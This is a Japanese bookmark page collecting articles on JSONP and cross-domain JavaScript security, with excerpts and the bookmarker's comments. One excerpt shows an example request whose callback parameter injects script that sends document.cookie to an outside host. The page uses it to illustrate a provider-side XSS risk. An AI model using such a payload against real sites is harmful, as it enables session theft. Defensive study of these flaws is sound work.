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JavaScriptとJSONとsecurityに関するtsupoのブックマーク (6)

  • [気になる]JSONPの守り方

    XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで連載では、そのようなメジャーなもの“以外”も掘り下げていきます (編集部) JSONPだって、セキュリティを気にしてほしい 皆さんこんにちは、はせがわようすけです。今回は、JSONPを使用する場合のセキュリティについて解説しましょう。 JSONPとは、JSON with Paddingの名称が示しているとおり、JSON形式のデータにコールバック関数の呼び出しのためのコードを付加することで、クロスドメインでデータの受け渡しを実現するためのデータ形式です。JavaScriptからクロスドメインでのデータが簡単に扱えることなどを理由に、多数のWebアプリケーションでAPIの一部としてJSONP形式でデータの提供が行われています。 具体的な例を見

    [気になる]JSONPの守り方
    tsupo
    tsupo 2009/08/11
    「JSONPだって、セキュリティを気にしてほしい」 / JSONPによって提供されるデータは Same Origin Policyの制約を受けないことによる諸々
  • はてなブログ | 無料ブログを作成しよう

    中古のリーン・ロゼ ブリガンタンを買った 中古のインテリアリサイクルショップのウェブサイトを眺めてたら、とんでもない破格だったのをたまたま見つけまして、ずっとほしかったし買ってみました。当に安かった。かなり汚れてるからこの価格だったようで、よくみると確かに汚れてるが、よく見ないとわからな…

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    tsupo
    tsupo 2008/04/09
    IE なら ActiveXObject("Microsoft.XMLDOM") を使うという方法もありますよ。XMLファイルしか取ってこれませんが。たぶん、XDomainRequest のフォアランナー的実装?
  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

    tsupo
    tsupo 2007/01/13
    インクルードされる側のリスク
  • 機密情報にJSONPでアクセスするな

    2007年6月7日 はてなブックマークのコメントをうけて、「常にJSONP、JSON、JavaScriptに機密事項を含めないように」という主張を改め、「クロスドメインアクセスの対策をとっていない状態ではJSONP、JSON、JavaScriptに機密事項を含めないように」という主張に関して記述しました。 こんにちは、SEの進地です。 今回から週単位でWebアプリケーションのセキュリティに関するエントリーを書いていこうと思います。 僕自身、日々勉強して精進というところですので、もし何らかの誤りがあれば是非ご指摘ください。 つっこみ大歓迎です。 今回取り上げるのはWeb 2.0なアプリケーションでセキュリティ面で気をつけるべきことの一つ、機密情報にJSONPでアクセスするなです。 JSON(JavaScript Object Notation)はJavaScript(ECMAScript)の

    tsupo
    tsupo 2007/01/11
    JSON で重要な情報を流してはいけない、という話
  • クロスドメインでのデータ読み込みを防止するJavaScript ? - snippets from shinichitomita’s journal

    GMailのコンタクトリスト漏洩のエントリのついでに。 JSONデータをscriptタグにのせて配信するサービス(JSONPなど)で、限られたサイトのみにしかそのデータを配信しないようにするためには、クライアントが送出してくるリファラ情報を使ってサービスコンシューマとなっているサイトを特定してアクセス制御する方法がある。 この方法はおそらく大部分のクライアント(ブラウザ)に対しては有効で、例えば実際にGoogle MapsなどもそれとAppKeyを組み合わせてサイトを判別しているっぽいのだけど、意図的にリファラ送出を切っているブラウザであったり、あるいはプロキシプログラムなどが自動的にリファラヘッダを除去してしまうようなクライアント環境に対しては無効になってしまう。 ということで、そんなクライアントでもなんとかならないだろうかと考えていたときにちょっと思いついた、もしかしたらこの方法なら許

    クロスドメインでのデータ読み込みを防止するJavaScript ? - snippets from shinichitomita’s journal
    tsupo
    tsupo 2007/01/06
    window.location.hostname=='ターゲット' ? { データ } : { エラーメッセージ } // クライアントが JavaScript インタプリタのときは有効。独自に作ったクライアントだと何でもありな状況は変わらないけど、それはサーバ側で対策する?
  • Kazuho@Cybozu Labs: クロスサイトのセキュリティモデル

    « Japanize - IE 系の User JavaScript エンジンに対応しました | メイン | 安全な JSON, 危険な JSON (Cross-site Including?) » 2007年01月04日 クロスサイトのセキュリティモデル あけましておめでとうございます。 昨年、社内で「XMLHttpRequest は何故クロスサイトで使えないのか。画像や SCRIPT タグは使えるのに」という疑問 (というより試問) を耳にしました。おもしろい話なのでブログネタにしようと思っていたのですが、新年早々 GMAIL の事例がスラッシュドットされていたので、自分の現時点での理解をまとめてみることにしました。文書を確認して書いているわけではないので、間違いがあれば指摘してください。また、よい参考文献をご存知の方がいらっしゃいましたら、教えていただければ幸いです。 ウェブブラウザ

    tsupo
    tsupo 2007/01/04
    JSON については、JavaScript として文法違反であるがゆえに、秘密情報を含むデータフォーマットとして使用することができる ← これはうそだと思う
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